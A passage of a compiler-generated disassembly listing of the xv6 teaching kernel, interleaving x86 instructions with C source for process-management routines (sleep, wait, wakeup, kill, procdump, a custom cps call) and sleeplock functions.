80103ca5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103cac: eb e2 jmp 80103c90 <exit+0xe0>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
curproc->state = ZOMBIE;
80103cae: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi)
sched();
80103cb5: e8 36 fe ff ff call 80103af0 <sched>
panic("zombie exit");
80103cba: 83 ec 0c sub $0xc,%esp
80103cbd: 68 1d 75 10 80 push $0x8010751d
80103cc2: e8 a9 c6 ff ff call 80100370 <panic>
struct proc *curproc = myproc();
struct proc *p;
int fd;
if(curproc == initproc)
panic("init exiting");
80103cc7: 83 ec 0c sub $0xc,%esp
80103cca: 68 10 75 10 80 push $0x80107510
80103ccf: e8 9c c6 ff ff call 80100370 <panic>
80103cd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103cda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103ce0 <yield>:
}
// Give up the CPU for one scheduling round.
void
yield(void)
{
80103ce0: 55 push %ebp
80103ce1: 89 e5 mov %esp,%ebp
80103ce3: 53 push %ebx
80103ce4: 83 ec 10 sub $0x10,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103ce7: 68 20 2d 11 80 push $0x80112d20
80103cec: e8 7f 06 00 00 call 80104370 <acquire>
// while reading proc from the cpu structure
struct proc*
myproc(void) {
struct cpu *c;
struct proc *p;
pushcli();
80103cf1: e8 9a 05 00 00 call 80104290 <pushcli>
c = mycpu();
80103cf6: e8 d5 f9 ff ff call 801036d0 <mycpu>
p = c->proc;
80103cfb: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103d01: e8 ca 05 00 00 call 801042d0 <popcli>
// Give up the CPU for one scheduling round.
void
yield(void)
{
acquire(&ptable.lock); //DOC: yieldlock
myproc()->state = RUNNABLE;
80103d06: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
sched();
80103d0d: e8 de fd ff ff call 80103af0 <sched>
release(&ptable.lock);
80103d12: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103d19: e8 02 07 00 00 call 80104420 <release>
}
80103d1e: 83 c4 10 add $0x10,%esp
80103d21: 8b 5d fc mov -0x4(%ebp),%ebx
80103d24: c9 leave
80103d25: c3 ret
80103d26: 8d 76 00 lea 0x0(%esi),%esi
80103d29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103d30 <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80103d30: 55 push %ebp
80103d31: 89 e5 mov %esp,%ebp
80103d33: 57 push %edi
80103d34: 56 push %esi
80103d35: 53 push %ebx
80103d36: 83 ec 0c sub $0xc,%esp
80103d39: 8b 7d 08 mov 0x8(%ebp),%edi
80103d3c: 8b 75 0c mov 0xc(%ebp),%esi
// while reading proc from the cpu structure
struct proc*
myproc(void) {
struct cpu *c;
struct proc *p;
pushcli();
80103d3f: e8 4c 05 00 00 call 80104290 <pushcli>
c = mycpu();
80103d44: e8 87 f9 ff ff call 801036d0 <mycpu>
p = c->proc;
80103d49: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103d4f: e8 7c 05 00 00 call 801042d0 <popcli>
void
sleep(void *chan, struct spinlock *lk)
{
struct proc *p = myproc();
if(p == 0)
80103d54: 85 db test %ebx,%ebx
80103d56: 0f 84 87 00 00 00 je 80103de3 <sleep+0xb3>
panic("sleep");
if(lk == 0)
80103d5c: 85 f6 test %esi,%esi
80103d5e: 74 76 je 80103dd6 <sleep+0xa6>
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
80103d60: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi
80103d66: 74 50 je 80103db8 <sleep+0x88>
acquire(&ptable.lock); //DOC: sleeplock1
80103d68: 83 ec 0c sub $0xc,%esp
80103d6b: 68 20 2d 11 80 push $0x80112d20
80103d70: e8 fb 05 00 00 call 80104370 <acquire>
release(lk);
80103d75: 89 34 24 mov %esi,(%esp)
80103d78: e8 a3 06 00 00 call 80104420 <release>
}
// Go to sleep.
p->chan = chan;
80103d7d: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
80103d80: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80103d87: e8 64 fd ff ff call 80103af0 <sched>
// Tidy up.
p->chan = 0;
80103d8c: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
80103d93: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103d9a: e8 81 06 00 00 call 80104420 <release>
acquire(lk);
80103d9f: 89 75 08 mov %esi,0x8(%ebp)
80103da2: 83 c4 10 add $0x10,%esp
}
}
80103da5: 8d 65 f4 lea -0xc(%ebp),%esp
80103da8: 5b pop %ebx
80103da9: 5e pop %esi
80103daa: 5f pop %edi
80103dab: 5d pop %ebp
p->chan = 0;
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
80103dac: e9 bf 05 00 00 jmp 80104370 <acquire>
80103db1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(lk != &ptable.lock){ //DOC: sleeplock0
acquire(&ptable.lock); //DOC: sleeplock1
release(lk);
}
// Go to sleep.
p->chan = chan;
80103db8: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
80103dbb: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80103dc2: e8 29 fd ff ff call 80103af0 <sched>
// Tidy up.
p->chan = 0;
80103dc7: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
}
}
80103dce: 8d 65 f4 lea -0xc(%ebp),%esp
80103dd1: 5b pop %ebx
80103dd2: 5e pop %esi
80103dd3: 5f pop %edi
80103dd4: 5d pop %ebp
80103dd5: c3 ret
if(p == 0)
panic("sleep");
if(lk == 0)
panic("sleep without lk");
80103dd6: 83 ec 0c sub $0xc,%esp
80103dd9: 68 2f 75 10 80 push $0x8010752f
80103dde: e8 8d c5 ff ff call 80100370 <panic>
sleep(void *chan, struct spinlock *lk)
{
struct proc *p = myproc();
if(p == 0)
panic("sleep");
80103de3: 83 ec 0c sub $0xc,%esp
80103de6: 68 29 75 10 80 push $0x80107529
80103deb: e8 80 c5 ff ff call 80100370 <panic>
80103df0 <wait>:
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
80103df0: 55 push %ebp
80103df1: 89 e5 mov %esp,%ebp
80103df3: 56 push %esi
80103df4: 53 push %ebx
// while reading proc from the cpu structure
struct proc*
myproc(void) {
struct cpu *c;
struct proc *p;
pushcli();
80103df5: e8 96 04 00 00 call 80104290 <pushcli>
c = mycpu();
80103dfa: e8 d1 f8 ff ff call 801036d0 <mycpu>
p = c->proc;
80103dff: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi
popcli();
80103e05: e8 c6 04 00 00 call 801042d0 <popcli>
{
struct proc *p;
int havekids, pid;
struct proc *curproc = myproc();
acquire(&ptable.lock);
80103e0a: 83 ec 0c sub $0xc,%esp
80103e0d: 68 20 2d 11 80 push $0x80112d20
80103e12: e8 59 05 00 00 call 80104370 <acquire>
80103e17: 83 c4 10 add $0x10,%esp
for(;;){
// Scan through table looking for exited children.
havekids = 0;
80103e1a: 31 c0 xor %eax,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103e1c: bb 54 2d 11 80 mov $0x80112d54,%ebx
80103e21: eb 10 jmp 80103e33 <wait+0x43>
80103e23: 90 nop
80103e24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103e28: 83 eb 80 sub $0xffffff80,%ebx
80103e2b: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103e31: 74 1d je 80103e50 <wait+0x60>
if(p->parent != curproc)
80103e33: 39 73 14 cmp %esi,0x14(%ebx)
80103e36: 75 f0 jne 80103e28 <wait+0x38>
continue;
havekids = 1;
if(p->state == ZOMBIE){
80103e38: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103e3c: 74 30 je 80103e6e <wait+0x7e>
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103e3e: 83 eb 80 sub $0xffffff80,%ebx
if(p->parent != curproc)
continue;
havekids = 1;
80103e41: b8 01 00 00 00 mov $0x1,%eax
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103e46: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103e4c: 75 e5 jne 80103e33 <wait+0x43>
80103e4e: 66 90 xchg %ax,%ax
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || curproc->killed){
80103e50: 85 c0 test %eax,%eax
80103e52: 74 70 je 80103ec4 <wait+0xd4>
80103e54: 8b 46 24 mov 0x24(%esi),%eax
80103e57: 85 c0 test %eax,%eax
80103e59: 75 69 jne 80103ec4 <wait+0xd4>
release(&ptable.lock);
return -1;
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
80103e5b: 83 ec 08 sub $0x8,%esp
80103e5e: 68 20 2d 11 80 push $0x80112d20
80103e63: 56 push %esi
80103e64: e8 c7 fe ff ff call 80103d30 <sleep>
}
80103e69: 83 c4 10 add $0x10,%esp
80103e6c: eb ac jmp 80103e1a <wait+0x2a>
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
80103e6e: 83 ec 0c sub $0xc,%esp
80103e71: ff 73 08 pushl 0x8(%ebx)
if(p->parent != curproc)
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
80103e74: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103e77: e8 54 e4 ff ff call 801022d0 <kfree>
p->kstack = 0;
freevm(p->pgdir);
80103e7c: 5a pop %edx
80103e7d: ff 73 04 pushl 0x4(%ebx)
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
p->kstack = 0;
80103e80: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80103e87: e8 74 2d 00 00 call 80106c00 <freevm>
p->pid = 0;
80103e8c: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80103e93: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80103e9a: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80103e9e: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
80103ea5: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80103eac: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103eb3: e8 68 05 00 00 call 80104420 <release>
return pid;
80103eb8: 83 c4 10 add $0x10,%esp
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
}
}
80103ebb: 8d 65 f8 lea -0x8(%ebp),%esp
p->parent = 0;
p->name[0] = 0;
p->killed = 0;
p->state = UNUSED;
release(&ptable.lock);
return pid;
80103ebe: 89 f0 mov %esi,%eax
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
}
}
80103ec0: 5b pop %ebx
80103ec1: 5e pop %esi
80103ec2: 5d pop %ebp
80103ec3: c3 ret
}
}
// No point waiting if we don't have any children.
if(!havekids || curproc->killed){
release(&ptable.lock);
80103ec4: 83 ec 0c sub $0xc,%esp
80103ec7: 68 20 2d 11 80 push $0x80112d20
80103ecc: e8 4f 05 00 00 call 80104420 <release>
return -1;
80103ed1: 83 c4 10 add $0x10,%esp
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
}
}
80103ed4: 8d 65 f8 lea -0x8(%ebp),%esp
}
// No point waiting if we don't have any children.
if(!havekids || curproc->killed){
release(&ptable.lock);
return -1;
80103ed7: b8 ff ff ff ff mov $0xffffffff,%eax
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(curproc, &ptable.lock); //DOC: wait-sleep
}
}
80103edc: 5b pop %ebx
80103edd: 5e pop %esi
80103ede: 5d pop %ebp
80103edf: c3 ret
80103ee0 <wakeup>:
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80103ee0: 55 push %ebp
80103ee1: 89 e5 mov %esp,%ebp
80103ee3: 53 push %ebx
80103ee4: 83 ec 10 sub $0x10,%esp
80103ee7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
80103eea: 68 20 2d 11 80 push $0x80112d20
80103eef: e8 7c 04 00 00 call 80104370 <acquire>
80103ef4: 83 c4 10 add $0x10,%esp
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103ef7: b8 54 2d 11 80 mov $0x80112d54,%eax
80103efc: eb 0c jmp 80103f0a <wakeup+0x2a>
80103efe: 66 90 xchg %ax,%ax
80103f00: 83 e8 80 sub $0xffffff80,%eax
80103f03: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103f08: 74 1c je 80103f26 <wakeup+0x46>
if(p->state == SLEEPING && p->chan == chan)
80103f0a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103f0e: 75 f0 jne 80103f00 <wakeup+0x20>
80103f10: 3b 58 20 cmp 0x20(%eax),%ebx
80103f13: 75 eb jne 80103f00 <wakeup+0x20>
p->state = RUNNABLE;
80103f15: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103f1c: 83 e8 80 sub $0xffffff80,%eax
80103f1f: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103f24: 75 e4 jne 80103f0a <wakeup+0x2a>
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
80103f26: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp)
}
80103f2d: 8b 5d fc mov -0x4(%ebp),%ebx
80103f30: c9 leave
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
80103f31: e9 ea 04 00 00 jmp 80104420 <release>
80103f36: 8d 76 00 lea 0x0(%esi),%esi
80103f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103f40 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80103f40: 55 push %ebp
80103f41: 89 e5 mov %esp,%ebp
80103f43: 53 push %ebx
80103f44: 83 ec 10 sub $0x10,%esp
80103f47: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
80103f4a: 68 20 2d 11 80 push $0x80112d20
80103f4f: e8 1c 04 00 00 call 80104370 <acquire>
80103f54: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f57: b8 54 2d 11 80 mov $0x80112d54,%eax
80103f5c: eb 0c jmp 80103f6a <kill+0x2a>
80103f5e: 66 90 xchg %ax,%ax
80103f60: 83 e8 80 sub $0xffffff80,%eax
80103f63: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103f68: 74 3e je 80103fa8 <kill+0x68>
if(p->pid == pid){
80103f6a: 39 58 10 cmp %ebx,0x10(%eax)
80103f6d: 75 f1 jne 80103f60 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103f6f: 83 78 0c 02 cmpl $0x2,0xc(%eax)
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
80103f73: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103f7a: 74 1c je 80103f98 <kill+0x58>
p->state = RUNNABLE;
release(&ptable.lock);
80103f7c: 83 ec 0c sub $0xc,%esp
80103f7f: 68 20 2d 11 80 push $0x80112d20
80103f84: e8 97 04 00 00 call 80104420 <release>
return 0;
80103f89: 83 c4 10 add $0x10,%esp
80103f8c: 31 c0 xor %eax,%eax
}
}
release(&ptable.lock);
return -1;
}
80103f8e: 8b 5d fc mov -0x4(%ebp),%ebx
80103f91: c9 leave
80103f92: c3 ret
80103f93: 90 nop
80103f94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
p->state = RUNNABLE;
80103f98: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103f9f: eb db jmp 80103f7c <kill+0x3c>
80103fa1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
80103fa8: 83 ec 0c sub $0xc,%esp
80103fab: 68 20 2d 11 80 push $0x80112d20
80103fb0: e8 6b 04 00 00 call 80104420 <release>
return -1;
80103fb5: 83 c4 10 add $0x10,%esp
80103fb8: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103fbd: 8b 5d fc mov -0x4(%ebp),%ebx
80103fc0: c9 leave
80103fc1: c3 ret
80103fc2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103fc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103fd0 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80103fd0: 55 push %ebp
80103fd1: 89 e5 mov %esp,%ebp
80103fd3: 57 push %edi
80103fd4: 56 push %esi
80103fd5: 53 push %ebx
80103fd6: 8d 75 e8 lea -0x18(%ebp),%esi
80103fd9: bb c0 2d 11 80 mov $0x80112dc0,%ebx
80103fde: 83 ec 3c sub $0x3c,%esp
80103fe1: eb 24 jmp 80104007 <procdump+0x37>
80103fe3: 90 nop
80103fe4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80103fe8: 83 ec 0c sub $0xc,%esp
80103feb: 68 bb 78 10 80 push $0x801078bb
80103ff0: e8 6b c6 ff ff call 80100660 <cprintf>
80103ff5: 83 c4 10 add $0x10,%esp
80103ff8: 83 eb 80 sub $0xffffff80,%ebx
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103ffb: 81 fb c0 4d 11 80 cmp $0x80114dc0,%ebx
80104001: 0f 84 81 00 00 00 je 80104088 <procdump+0xb8>
if(p->state == UNUSED)
80104007: 8b 43 a0 mov -0x60(%ebx),%eax
8010400a: 85 c0 test %eax,%eax
8010400c: 74 ea je 80103ff8 <procdump+0x28>
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
8010400e: 83 f8 05 cmp $0x5,%eax
state = states[p->state];
else
state = "???";
80104011: ba 40 75 10 80 mov $0x80107540,%edx
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->state == UNUSED)
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80104016: 77 11 ja 80104029 <procdump+0x59>
80104018: 8b 14 85 b0 75 10 80 mov -0x7fef8a50(,%eax,4),%edx
state = states[p->state];
else
state = "???";
8010401f: b8 40 75 10 80 mov $0x80107540,%eax
80104024: 85 d2 test %edx,%edx
80104026: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80104029: 53 push %ebx
8010402a: 52 push %edx
8010402b: ff 73 a4 pushl -0x5c(%ebx)
8010402e: 68 44 75 10 80 push $0x80107544
80104033: e8 28 c6 ff ff call 80100660 <cprintf>
if(p->state == SLEEPING){
80104038: 83 c4 10 add $0x10,%esp
8010403b: 83 7b a0 02 cmpl $0x2,-0x60(%ebx)
8010403f: 75 a7 jne 80103fe8 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80104041: 8d 45 c0 lea -0x40(%ebp),%eax
80104044: 83 ec 08 sub $0x8,%esp
80104047: 8d 7d c0 lea -0x40(%ebp),%edi
8010404a: 50 push %eax
8010404b: 8b 43 b0 mov -0x50(%ebx),%eax
8010404e: 8b 40 0c mov 0xc(%eax),%eax
80104051: 83 c0 08 add $0x8,%eax
80104054: 50 push %eax
80104055: e8 d6 01 00 00 call 80104230 <getcallerpcs>
8010405a: 83 c4 10 add $0x10,%esp
8010405d: 8d 76 00 lea 0x0(%esi),%esi
for(i=0; i<10 && pc[i] != 0; i++)
80104060: 8b 17 mov (%edi),%edx
80104062: 85 d2 test %edx,%edx
80104064: 74 82 je 80103fe8 <procdump+0x18>
cprintf(" %p", pc[i]);
80104066: 83 ec 08 sub $0x8,%esp
80104069: 83 c7 04 add $0x4,%edi
8010406c: 52 push %edx
8010406d: 68 81 6f 10 80 push $0x80106f81
80104072: e8 e9 c5 ff ff call 80100660 <cprintf>
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
80104077: 83 c4 10 add $0x10,%esp
8010407a: 39 f7 cmp %esi,%edi
8010407c: 75 e2 jne 80104060 <procdump+0x90>
8010407e: e9 65 ff ff ff jmp 80103fe8 <procdump+0x18>
80104083: 90 nop
80104084: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
80104088: 8d 65 f4 lea -0xc(%ebp),%esp
8010408b: 5b pop %ebx
8010408c: 5e pop %esi
8010408d: 5f pop %edi
8010408e: 5d pop %ebp
8010408f: c3 ret
80104090 <cps>:
int
cps(void)
{
80104090: 55 push %ebp
80104091: 89 e5 mov %esp,%ebp
80104093: 53 push %ebx
80104094: bb c0 2d 11 80 mov $0x80112dc0,%ebx
80104099: 83 ec 04 sub $0x4,%esp
8010409c: eb 2b jmp 801040c9 <cps+0x39>
8010409e: 66 90 xchg %ax,%ax
struct proc *p=ptable.proc;
// Iterate through process table
while(p < &ptable.proc[NPROC] && p->state!=UNUSED)
{
cprintf("(%d, %s %s, %d)\n", p->pid,p->name,states[p->state], p->priority);
801040a0: 83 ec 0c sub $0xc,%esp
801040a3: ff 73 10 pushl 0x10(%ebx)
801040a6: ff 34 85 b0 75 10 80 pushl -0x7fef8a50(,%eax,4)
801040ad: 53 push %ebx
801040ae: ff 73 a4 pushl -0x5c(%ebx)
801040b1: 83 eb 80 sub $0xffffff80,%ebx
801040b4: 68 4d 75 10 80 push $0x8010754d
801040b9: e8 a2 c5 ff ff call 80100660 <cprintf>
[ZOMBIE] "zombie"
};
struct proc *p=ptable.proc;
// Iterate through process table
while(p < &ptable.proc[NPROC] && p->state!=UNUSED)
801040be: 83 c4 20 add $0x20,%esp
801040c1: 81 fb c0 4d 11 80 cmp $0x80114dc0,%ebx
801040c7: 74 07 je 801040d0 <cps+0x40>
801040c9: 8b 43 a0 mov -0x60(%ebx),%eax
801040cc: 85 c0 test %eax,%eax
801040ce: 75 d0 jne 801040a0 <cps+0x10>
cprintf("(%d, %s %s, %d)\n", p->pid,p->name,states[p->state], p->priority);
p++;
}
return 0;
exit();
}
801040d0: 31 c0 xor %eax,%eax
801040d2: 8b 5d fc mov -0x4(%ebp),%ebx
801040d5: c9 leave
801040d6: c3 ret
801040d7: 66 90 xchg %ax,%ax
801040d9: 66 90 xchg %ax,%ax
801040db: 66 90 xchg %ax,%ax
801040dd: 66 90 xchg %ax,%ax
801040df: 90 nop
801040e0 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
801040e0: 55 push %ebp
801040e1: 89 e5 mov %esp,%ebp
801040e3: 53 push %ebx
801040e4: 83 ec 0c sub $0xc,%esp
801040e7: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
801040ea: 68 c8 75 10 80 push $0x801075c8
801040ef: 8d 43 04 lea 0x4(%ebx),%eax
801040f2: 50 push %eax
801040f3: e8 18 01 00 00 call 80104210 <initlock>
lk->name = name;
801040f8: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
801040fb: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
}
80104101: 83 c4 10 add $0x10,%esp
initsleeplock(struct sleeplock *lk, char *name)
{
initlock(&lk->lk, "sleep lock");
lk->name = name;
lk->locked = 0;
lk->pid = 0;
80104104: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
void
initsleeplock(struct sleeplock *lk, char *name)
{
initlock(&lk->lk, "sleep lock");
lk->name = name;
8010410b: 89 43 38 mov %eax,0x38(%ebx)
lk->locked = 0;
lk->pid = 0;
}
8010410e: 8b 5d fc mov -0x4(%ebp),%ebx
80104111: c9 leave
80104112: c3 ret
80104113: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104119: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104120 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80104120: 55 push %ebp
80104121: 89 e5 mov %esp,%ebp
80104123: 56 push %esi
80104124: 53 push %ebx
80104125: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104128: 83 ec 0c sub $0xc,%esp
8010412b: 8d 73 04 lea 0x4(%ebx),%esi
8010412e: 56 push %esi
8010412f: e8 3c 02 00 00 call 80104370 <acquire>
while (lk->locked) {
80104134: 8b 13 mov (%ebx),%edx
80104136: 83 c4 10 add $0x10,%esp
80104139: 85 d2 test %edx,%edx
8010413b: 74 16 je 80104153 <acquiresleep+0x33>
8010413d: 8d 76 00 lea 0x0(%esi),%esi
sleep(lk, &lk->lk);
80104140: 83 ec 08 sub $0x8,%esp
80104143: 56 push %esi
80104144: 53 push %ebx
80104145: e8 e6 fb ff ff call 80103d30 <sleep>
void
acquiresleep(struct sleeplock *lk)
{
acquire(&lk->lk);
while (lk->locked) {
8010414a: 8b 03 mov (%ebx),%eax
8010414c: 83 c4 10 add $0x10,%esp
8010414f: 85 c0 test %eax,%eax
80104151: 75 ed jne 80104140 <acquiresleep+0x20>
sleep(lk, &lk->lk);
}
lk->locked = 1;
80104153: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = myproc()->pid;
80104159: e8 12 f6 ff ff call 80103770 <myproc>
8010415e: 8b 40 10 mov 0x10(%eax),%eax
80104161: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80104164: 89 75 08 mov %esi,0x8(%ebp)
}
80104167: 8d 65 f8 lea -0x8(%ebp),%esp
8010416a: 5b pop %ebx
8010416b: 5e pop %esi
8010416c: 5d pop %ebp
while (lk->locked) {
sleep(lk, &lk->lk);
}
lk->locked = 1;
lk->pid = myproc()->pid;
release(&lk->lk);
8010416d: e9 ae 02 00 00 jmp 80104420 <release>
80104172: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104180 <releasesleep>:
}
void
releasesleep(struct sleeplock *lk)
{
80104180: 55 push %ebp
80104181: 89 e5 mov %esp,%ebp
80104183: 56 push %esi
80104184: 53 push %ebx
80104185: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104188: 83 ec 0c sub $0xc,%esp
8010418b: 8d 73 04 lea 0x4(%ebx),%esi
8010418e: 56 push %esi
8010418f: e8 dc 01 00 00 call 80104370 <acquire>
lk->locked = 0;
80104194: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
8010419a: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
801041a1: 89 1c 24 mov %ebx,(%esp)
801041a4: e8 37 fd ff ff call 80103ee0 <wakeup>
release(&lk->lk);
801041a9: 89 75 08 mov %esi,0x8(%ebp)
801041ac: 83 c4 10 add $0x10,%esp
}
801041af: 8d 65 f8 lea -0x8(%ebp),%esp
801041b2: 5b pop %ebx
801041b3: 5e pop %esi
801041b4: 5d pop %ebp
{
acquire(&lk->lk);
lk->locked = 0;
lk->pid = 0;
wakeup(lk);
release(&lk->lk);
801041b5: e9 66 02 00 00 jmp 80104420 <release>
801041ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801041c0 <holdingsleep>:
}
int
holdingsleep(struct sleeplock *lk)
{
801041c0: 55 push %ebp
801041c1: 89 e5 mov %esp,%ebp
801041c3: 57 push %edi
801041c4: 56 push %esi
801041c5: 53 push %ebx
801041c6: 31 ff xor %edi,%edi
801041c8: 83 ec 18 sub $0x18,%esp
801041cb: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
